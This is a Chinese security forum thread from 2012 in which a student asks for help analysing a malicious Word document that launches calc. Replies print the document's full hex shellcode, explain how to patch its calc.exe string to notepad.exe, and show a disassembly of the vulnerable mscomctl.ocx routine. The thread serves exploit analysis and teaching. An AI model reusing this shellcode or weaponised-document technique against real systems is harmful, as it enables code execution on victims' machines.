首页
社区
课程
招聘
[旧帖] [求助]求完成作业,关于一个word文档漏洞的分析。 0.00雪花
发表于: 2012-5-25 14:01 3109

[旧帖] [求助]求完成作业,关于一个word文档漏洞的分析。 0.00雪花

2012-5-25 14:01
3109
xyz1.zip

测试环境:
系统:windows xp sp2 中文
软件:office word 2003 (11.8169.8172) sp3 中文版

一个xyz.doc文档,打开以后弹出计算器。

要求:
1, 将shellcode 替换  实现 弹出记事本
2, 分析此漏洞的成因(简单说明文档)

老师发的作业啊,用OD调试,真心做不出来,找不到shellcode。

求大神帮忙

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 443
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
表示机器没有office
2012-5-25 14:36
0
雪    币: 81
活跃值: (165)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
你下载试哈子嘛。。。
2012-5-26 13:58
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
用二进制编辑器打开xyz.doc搜calc
2012-5-28 11:10
0
雪    币: 293
活跃值: (287)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
这个看过,打过补丁了,没法利用
2012-5-28 11:31
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
用记事本打开xyz.doc
1245fa7f9090909090909090fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500
在文件中搜下面的字节串
63616c632e657865

用OD打开xyz.doc查63616c632e657865
改成notepad.exe的6e6f74657061642e657865即可
2012-5-30 13:30
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
C:\WINDOWS\system32\mscomctl.ocx

275C89C7 $ 55 push ebp
275C89C8 . 8BEC mov ebp, esp
275C89CA . 83EC 14 sub esp, 14
275C89CD . 53 push ebx
275C89CE . 8B5D 0C mov ebx, dword ptr [ebp+C]
275C89D1 . 56 push esi
275C89D2 . 57 push edi
275C89D3 . 6A 0C push 0C
275C89D5 . 8D45 EC lea eax, dword ptr [ebp-14]
275C89D8 . 53 push ebx
275C89D9 . 50 push eax
275C89DA . E8 8EFDFFFF call 275C876D
275C89DF . 83C4 0C add esp, 0C
275C89E2 . 85C0 test eax, eax
275C89E4 . 7C 6C jl short 275C8A52
275C89E6 . 817D EC 436F6>cmp dword ptr [ebp-14], 6A626F43
275C89ED . 0F85 92A60000 jnz 275D3085
275C89F3 . 837D F4 08 cmp dword ptr [ebp-C], 8
275C89F7 . 0F82 88A60000 jb 275D3085 ;估计是这里判断问题导致
275C89FD . FF75 F4 push dword ptr [ebp-C]
275C8A00 . 8D45 F8 lea eax, dword ptr [ebp-8]
275C8A03 . 53 push ebx
275C8A04 . 50 push eax
275C8A05 . E8 63FDFFFF call 275C876D
2012-5-30 13:33
0
游客
登录 | 注册 方可回帖
返回
//